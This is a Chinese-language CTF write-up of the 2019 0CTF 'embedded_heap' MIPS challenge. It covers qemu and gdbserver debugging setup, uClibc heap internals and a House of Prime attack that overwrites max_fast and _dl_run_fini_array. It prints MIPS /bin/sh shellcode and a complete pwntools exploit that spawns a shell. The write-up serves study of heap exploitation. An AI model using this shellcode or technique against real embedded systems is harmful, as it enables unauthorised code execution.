[关闭]
@H4l0 2020-08-24T17:23:44.000000Z 字数 10344 阅读 1699

2019 0ctf embedded heap 题目复现

IOT


前言

复现了一下 2019 的 ctf 题目,这是一道 mips 的堆题,应该还是比较少见的,利用的攻击方式其实和 glibc 的差不多,这里重点讲解一下调试方法和利用方法。

环境准备

  1. 1. qemu-system-mips 大端系统
  2. 2. gdbserver 静态程序
  3. 3. socat 静态链接程序(方便连接连接端口)
  4. 4. 漏洞程序

gdbserver 可以下载静态编译的版本:https://github.com/akpotter/embedded-toolkit/tree/master/prebuilt_static_bins/gdbserver,相应的下载大小端即可

socat 的静态程序下载:https://github.com/darkerego/mips-binaries
- 参考:https://e3pem.github.io/2019/08/26/0ctf-2019/embedded_heap/

漏洞程序(这里直接给出大佬的链接):https://github.com/e3pem/CTF/tree/master/0ctf2019/embedded_heap

运行、调试环境搭建

运行环境的配置

首先将 embedded_heap 程序复制到 qemu 系统模式中的根目录下,可以使用 python -m SimpleHTTPServer 的方式复制:

image.png-110.7kB

ldd 查看是否链接库有没加载对:

image.png-60.9kB

可以发现这里是正确的,如果出现下面这种找不到的情况,就将打包文件夹下的 libc 和 ld 文件放到 /lib 目录下,对应好名称即可。

image.png-54.5kB

尝试运行,发现已经可以正常运行了:

image.png-230.5kB

调试环境的配置

gdbserver-7.12socat 静态链接的程序复制到根目录下,使用 gdbserver 调试的方法很简单:

  1. root@debian-mips:/# ./gdbserver-mips 10.0.0.1:23456 ./embedded_heap
  2. Process ./embedded_heap created; pid = 2857
  3. Listening on port 23456

在本地宿主机运行 gdb-multiarch embedded_heap,设置 target remote 10.0.0.1 23456,如果发现是下面的情况:

image.png-235.5kB

gdb 中将 endian 设置成大端即可:

  1. set arch mips
  2. set endian big

设置后题调试正常:

image.png-494.3kB

部署程序

如果要将程序部署到某个端口上要怎么做呢?这里就使用最简单的 socat,当然也可以用 docker 来部署。

qemu_system 模式下的环境是不自带 socat,所以需要提前准备好 mips 架构的 socat 程序。

  1. ./socat tcp-listen:8888,fork exec:./embedded_heap

这里就在 8888 端口开启了一个服务端程序,使用 nc 连接上即可,使用 pwntools 也是一样的用法:

image.png-298.5kB

image.png-223kB

3 . 使用 gdbserver 附加程序进行调试:

./gdbserver-mips 10.0.0.1:3456 --attach 2730

4 . 宿主机使用 gdb-multiarch 连接上 3456 端口即可。

image.png-422.5kB

  1. sh -c "echo '0' > /proc/sys/kernel/randomize_va_space"

uClibc 堆管理机制简单分析

到官网下载到 uClibc-0.9.33.2 的源码:https://www.uclibc.org/downloads/uClibc-0.9.33.2.tar.xz

解压到本地打开 libc/stdlib/malloc-standard/malloc.c 文件,找到两个比较重要的结构体,一个是 malloc_state,一个是 malloc_chunk:

malloc_state 用来管理整个堆结构的整体布局,和 glibc 一样,这里同时也存在 fastbins 等。这里有个比较小的差别是 max_fast 是位置是位于 malloc_state 结构体里,而 glibc 的 global_max_fast 是位于整个结构体外的。这个特点可以用来做一个扩展 fastbins 的攻击。

  1. struct malloc_state {
  2. /* The maximum chunk size to be eligible for fastbin */
  3. size_t max_fast; /* low 2 bits used as flags */
  4. /* Fastbins */
  5. mfastbinptr fastbins[NFASTBINS];
  6. /* Base of the topmost chunk -- not otherwise kept in a bin */
  7. mchunkptr top;
  8. /* The remainder from the most recent split of a small request */
  9. mchunkptr last_remainder;
  10. /* Normal bins packed as described above */
  11. mchunkptr bins[NBINS * 2];
  12. /* Bitmap of bins. Trailing zero map handles cases of largest binned size */
  13. unsigned int binmap[BINMAPSIZE+1];
  14. /* Tunable parameters */
  15. unsigned long trim_threshold;
  16. size_t top_pad;
  17. size_t mmap_threshold;
  18. /* Memory map support */
  19. int n_mmaps;
  20. int n_mmaps_max;
  21. int max_n_mmaps;
  22. /* Cache malloc_getpagesize */
  23. unsigned int pagesize;
  24. /* Track properties of MORECORE */
  25. unsigned int morecore_properties;
  26. /* Statistics */
  27. size_t mmapped_mem;
  28. size_t sbrked_mem;
  29. size_t max_sbrked_mem;
  30. size_t max_mmapped_mem;
  31. size_t max_total_mem;
  32. };

malloc_chunk 的结构其实和 glibc 是一样的,所以在 glibc 上的攻击手法在这里同样适用:

  1. struct malloc_chunk {
  2. size_t prev_size; /* Size of previous chunk (if free). */
  3. size_t size; /* Size in bytes, including overhead. */
  4. struct malloc_chunk* fd; /* double links -- used only if free. */
  5. struct malloc_chunk* bk;
  6. };

fastbins 的定义:

  1. #define fastbin_index(sz) ((((unsigned int)(sz)) >> 3) - 2)

漏洞点分析

静态分析

使用 ghidra 进行分析,将程序加载进去,因为开启了 PIE 保护,所以这里设置 image 基地址为 0(默认是 10000):

image.png-356.8kB

image.png-170.3kB

根据运行的结果,总共有三个功能点:View、Update、Pwn

init 函数

大概就是随机 malloc 几块随机 size 的 chunk。

  1. int FUN_00001140(void)
  2. {
  3. int __fd;
  4. ssize_t sVar1;
  5. void *__addr;
  6. void *pvVar2;
  7. int iVar3;
  8. uint uVar4;
  9. int local_30;
  10. uint local_14;
  11. uint local_10;
  12. uint local_c;
  13. setvbuf(stdin,(char *)0x0,2,0);
  14. setvbuf(stdout,(char *)0x0,2,0);
  15. alarm(200);
  16. puts(
  17. " __ __ _____________ __ __ ___ ____\n / //_// ____/ ____/ | / / / / / | / __ )\n / ,< / __/ / __/ / |/ / / / / /| | / __ |\n / /| |/ /___/ /___/ /| / //___/ ___ |/ /_/ /\n/_/ |_/_____/_____/_/ |_/ /_____/_/ |_/_____/\n"
  18. );
  19. puts("===== Embedded Heap =====");
  20. __fd = open("/dev/urandom",0);
  21. if (-1 < __fd) {
  22. sVar1 = read(__fd,&local_14,0xc);
  23. if (sVar1 == 0xc) {
  24. close(__fd);
  25. __addr = (void *)(local_14 + (uint)((ulonglong)local_14 * 0x18004e01 >> 0x3b) * -0x55544000 +
  26. 0x10000 & 0xfffff000);
  27. pvVar2 = mmap(__addr,0x1000,3,0x802,-1,0);
  28. if (__addr != pvVar2) {
  29. /* WARNING: Subroutine does not return */
  30. exit(-1);
  31. }
  32. srand(local_c);
  33. __fd = (int)__addr + (local_10 % 0xf40 & 0xfffffff0);
  34. iVar3 = rand();
  35. local_30 = 0;
  36. while (local_30 < iVar3 % 0xd + 3) {
  37. uVar4 = rand();
  38. uVar4 = uVar4 & 0x800000ff;
  39. if ((int)uVar4 < 0) {
  40. uVar4 = (uVar4 - 1 | 0xffffff00) + 1;
  41. }
  42. mymalloc(__fd,uVar4);
  43. local_30 = local_30 + 1;
  44. }
  45. FUN_00001038(__fd);
  46. return __fd;
  47. }
  48. }
  49. /* WARNING: Subroutine does not return */
  50. exit(-1);
  51. }

view 函数

将堆块里的内容使用 write 函数输出出来:

  1. void FUN_000018a4(int iParm1)
  2. {
  3. int iVar1;
  4. printf("Index: ");
  5. iVar1 = get_int();
  6. if (((iVar1 < 0) || (0xf < iVar1)) || (*(int *)(iParm1 + iVar1 * 0xc) != 1)) {
  7. puts("Invalid Index");
  8. }
  9. else {
  10. printf("Chunk[%d]: ",iVar1);
  11. show_content(*(undefined4 *)(iParm1 + iVar1 * 0xc + 8),*(undefined4 *)(iParm1 + iVar1 * 0xc + 4)
  12. );
  13. }
  14. return;
  15. }

update 函数

重新填充堆块的内容,因为这里的 size 值可控,所以存在堆溢出

  1. void FUN_0000157c(int iParm1)
  2. {
  3. int iVar1;
  4. int size;
  5. printf("Index: ");
  6. iVar1 = get_int();
  7. if (((iVar1 < 0) || (0xf < iVar1)) || (*(int *)(iParm1 + iVar1 * 0xc) != 1)) {
  8. puts("Invalid Index");
  9. }
  10. else {
  11. printf("Size: ");
  12. size = get_int();
  13. if (0 < size) {
  14. printf("Content: ");
  15. (*(code *)0xad0)(*(undefined4 *)(iParm1 + iVar1 * 0xc + 8),size);
  16. printf("Chunk %d Updated\n",iVar1);
  17. }
  18. }
  19. return;
  20. }

pwn 函数

这里可以进行两次的 free 和一个的 update 操作:

  1. if (iVar2 == 3) {
  2. FUN_00001720(uVar1);
  3. puts("One more time! Try it harder!");
  4. FUN_00001720(uVar1);
  5. puts("Everything is still fine. Is that all you got?");
  6. undate(uVar1);
  7. return 0;
  8. }

FUN_00001720 函数指定 index 之后就行 free 的操作,这里不存在 UAF:

  1. void FUN_00001720(int iParm1)
  2. {
  3. int index;
  4. printf("Index: ");
  5. index = get_int();
  6. if (((index < 0) || (0xf < index)) || (*(int *)(iParm1 + index * 0xc) != 1)) {
  7. puts("Invalid Index");
  8. }
  9. else {
  10. *(undefined4 *)(iParm1 + index * 0xc) = 0;
  11. *(undefined4 *)(iParm1 + index * 0xc + 4) = 0;
  12. free(*(void **)(iParm1 + index * 0xc + 8));
  13. *(undefined4 *)(iParm1 + index * 0xc + 8) = 0;
  14. printf("Chunk %d Deleted\n",index);
  15. }
  16. return;
  17. }

漏洞利用

整体利用思路

参考文章中的思路,这里可以使用 House of Prime 这个技巧来进行攻击,通过溢出将下一个 chunk 的 size 覆盖为 8,free 掉这个 size 之后,就会将当前堆的地址写入到 malloc_state 当中的前一个位置,这里刚好是 max_fast 的地址。这时候不管之后 free 的 size 的大小为多少,都会当作 fastbin 来对待。

这样再通过一次溢出,将写一个 chunk 的 size 改成一个精心控制的值,就可以向一定范围内写入一个堆地址(fastbin 机制的特点,不清楚的可以去 ctfwiki 上看看!)。

那么这里可以借鉴格式化字符串漏洞的利用方法,将某个地址写入到 .fini.array 区段中,程序在退出时,就会返回到这个地址中。

获取 libc 基地址

查看 /proc/2730/maps 获取 libc 的基地址:0x77f78000:

  1. root@debian-mips:/# cat /proc/2402/maps
  2. 2633a000-2633b000 rw-p 00000000 00:00 0
  3. 55550000-55552000 r-xp 00000000 08:01 14 /embedded_heap
  4. 55561000-55562000 r--p 00001000 08:01 14 /embedded_heap
  5. 55562000-55563000 rw-p 00002000 08:01 14 /embedded_heap
  6. 55563000-55564000 rwxp 00000000 00:00 0 [heap]
  7. 77f78000-77fca000 r-xp 00000000 08:01 787636 /lib/libc.so.0
  8. 77fca000-77fd9000 ---p 00000000 00:00 0
  9. 77fd9000-77fda000 r--p 00051000 08:01 787636 /lib/libc.so.0
  10. 77fda000-77fdb000 rw-p 00052000 08:01 787636 /lib/libc.so.0
  11. 77fdb000-77fe0000 rw-p 00000000 00:00 0
  12. 77fe0000-77fe7000 r-xp 00000000 08:01 787634 /lib/ld-uClibc.so.0
  13. 77ff4000-77ff6000 rw-p 00000000 00:00 0
  14. 77ff6000-77ff7000 r--p 00006000 08:01 787634 /lib/ld-uClibc.so.0
  15. 77ff7000-77ff8000 rw-p 00007000 08:01 787634 /lib/ld-uClibc.so.0
  16. 7ffd6000-7fff7000 rw-p 00000000 00:00 0 [stack]
  17. 7fff7000-7fff8000 r-xp 00000000 00:00 0 [vdso]

将堆地址写入 max_fast

通过第一个 chunk 的溢出,将下一个 chunk 的 size 修改成 9:

  1. payload = 'a'*ck0_size+p32(8+1)+p32(0)+p32(0x11)+p32(0)[:-1] # size 改成 9 ,其中一位为标志位。
  2. update(p,0,ck0_size+0x10,payload)

malloc_state 地址的查找,动态调试查看变化:

使用 IDA 打开 libc.so.0 文件,找到 malloc_trim 函数,往下滑双击就可以看到这个地址:

image.png-604.4kB

malloc_state 在 libc 中的偏移地址为:0x00066D7C

使用 gdb-multiarch 进行调试:

delete(1) 之前大小为 0x48:
image.png-97.1kB

delete(1) 之后就会向这个位置写入一个堆地址:

image.png-958.5kB

将堆地址写入到 _dl_run_fini_array

_dl_run_fini_array 的作用类似于上面说的 .fini.array,只不过这个是在 ld 的区段中。

vmmap 获取 ld 的加载地址为:0x77fe0000,在 IDA 中获取到 _dl_run_fini_array 的偏移为 0x00017064:

image.png-559.3kB

通过计算得到需要更改的 size 为 0x305d9 ,具体的计算方法可以查看参考文章

在调用 pwn 函数之前,先 update 一个 chunk:

  1. payload = 'a'*ck2_size+p32(0x305d9)+p32(0)*2+p32(0)[:-1]
  2. update(p,2,ck2_size+0x10,payload)

gdb 调试时查看相应位置的值:

delete(3) 之前:

  1. pwndbg> x/10xw 0x77fe0000+0x00017064
  2. 0x77ff7064: 0x77fe16e4 <-- got 表的值 0x77ff71ac 0x77fe187c 0x77ff716c
  3. 0x77ff7074: 0x77fe19d0 0x77ff719c 0x77fe1e34 0x77ff7010
  4. 0x77ff7084: 0x77ff7194 0x77ff71b8

delete(3) 之后,这里已经是被修改成了堆地址了,所以现在我们退出程序时,就会 call 这个地址。

  1. pwndbg> x/10xw 0x77fe0000+0x00017064
  2. 0x77ff7064: 0x555631b0 <-- got 表的值 0x77ff71ac 0x77fe187c 0x77ff716c
  3. 0x77ff7074: 0x77fe19d0 0x77ff719c 0x77fe1e34 0x77ff7010
  4. 0x77ff7084: 0x77ff7194 0x77ff71b8
  1. pwndbg> x/20xw 0x555631b0
  2. 0x555631b0: 0x61616161 0x000305d9 0x77fe16e4 0x00000000
  3. 0x555631c0: 0x0000000a 0x00000000 0x00000000 0x00000000
  4. 0x555631d0: 0x00000000 0x00000000 0x00000000 0x00000000
  5. 0x555631e0: 0x00000000 0x00000000 0x00000000 0x00000000
  6. 0x555631f0: 0x00000000 0x00000000 0x00000000 0x00000000

于是这里我们只需要把这个堆地址的内容提前填充成 shellcode 就行。

shellcode 可以使用 msf 生成,也可以直接找现成的

  1. \x28\x06\xff\xff\x3c\x0f\x2f\x2f\x35\xef\x62\x69\xaf\xaf\xff\xf4\x3c\x0e\x6e\x2f\x35\xce\x73\x68\xaf\xae\xff\xf8\xaf\xa0\xff\xfc\x27\xa4\xff\xf4\x28\x05\xff\xff\x24\x02\x0f\xab\x01\x01\x01\x0c

运行 EXP getshell:

image.png-203.7kB

EXP:

这里引用了大佬的 exp:

  1. from pwn import *
  2. r = lambda p:p.recv()
  3. rl = lambda p:p.recvline()
  4. ru = lambda p,x:p.recvuntil(x)
  5. rn = lambda p,x:p.recvn(x)
  6. rud = lambda p,x:p.recvuntil(x,drop=True)
  7. s = lambda p,x:p.send(x)
  8. sl = lambda p,x:p.sendline(x)
  9. sla = lambda p,x,y:p.sendlineafter(x,y)
  10. sa = lambda p,x,y:p.sendafter(x,y)
  11. def update(p,idx,size,content):
  12. sla(p,'Command: ',str(1))
  13. sla(p,'Index: ',str(idx))
  14. sla(p,'Size: ',str(size))
  15. sla(p,'Content: ',str(content))
  16. def get_chunk_size(size):
  17. if size%4==0:
  18. if size%8==0:
  19. size = size+4
  20. else:
  21. pass
  22. else:
  23. size = size+4-size%4
  24. if size%8==0:
  25. size = size+4
  26. if size <= 8:
  27. size = 12
  28. return size
  29. def delete(p,idx):
  30. sla(p,'Index: ',str(idx))
  31. def pwn():
  32. DEBUG = 0
  33. context.arch = 'mips'
  34. context.endian = 'big'
  35. BIN_PATH = './embedded_heap'
  36. elf = ELF(BIN_PATH)
  37. if DEBUG == 1:
  38. p = process(BIN_PATH)
  39. #context.log_level = 'debug'
  40. if context.arch == 'amd64':
  41. libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
  42. else:
  43. libc = ELF('/lib/i386-linux-gnu/libc.so.6')
  44. else:
  45. p = remote('10.0.0.1',8888)
  46. # libc = ELF('./libc_32.so.6')
  47. #context.log_level = 'debug'
  48. # 0x5555#55554000
  49. ru(p,'Chunk[0]: ')
  50. ck0_size = int(ru(p,' ')[:-1])
  51. ck0_size = get_chunk_size(ck0_size)
  52. ru(p,'Chunk[2]: ')
  53. ck2_size = int(ru(p,' ')[:-1])
  54. ck2_size = get_chunk_size(ck2_size)
  55. log.info('chunk 0 size: '+str(ck0_size))
  56. log.info('chunk 1 size: '+str(ck2_size))
  57. payload = 'a'*ck0_size+p32(8+1)+p32(0)+p32(0x11)+p32(0)[:-1]
  58. update(p,0,ck0_size+0x10,payload)
  59. payload = 'a'*ck2_size+p32(0x305d9)+p32(0)*2+p32(0)[:-1]
  60. update(p,2,ck2_size+0x10,payload)
  61. # pwn
  62. sla(p,'Command: ',str(3))
  63. delete(p,1)
  64. sla(p,'Index:',str(3))
  65. #delete(p,3)
  66. #sla(p,'Index: ',str(3))
  67. sc = "\x28\x06\xff\xff\x3c\x0f\x2f\x2f\x35\xef\x62\x69\xaf\xaf\xff\xf4\x3c\x0e\x6e\x2f\x35\xce\x73\x68\xaf\xae\xff\xf8\xaf\xa0\xff\xfc\x27\xa4\xff\xf4\x28\x05\xff\xff\x24\x02\x0f\xab\x01\x01\x01\x0c"
  68. sla(p,"Index:",str(2))
  69. sla(p,'Size: ',str(ck2_size+0xff))
  70. sa(p,"Content:",'a'*(ck2_size-4)+sc.ljust(0xff+4,"\x61"))
  71. p.interactive()
  72. pwn()

参考文章

  1. https://e3pem.github.io/2019/08/26/0ctf-2019/embedded_heap/
添加新批注
在作者公开此批注前,只有你和作者可见。
回复批注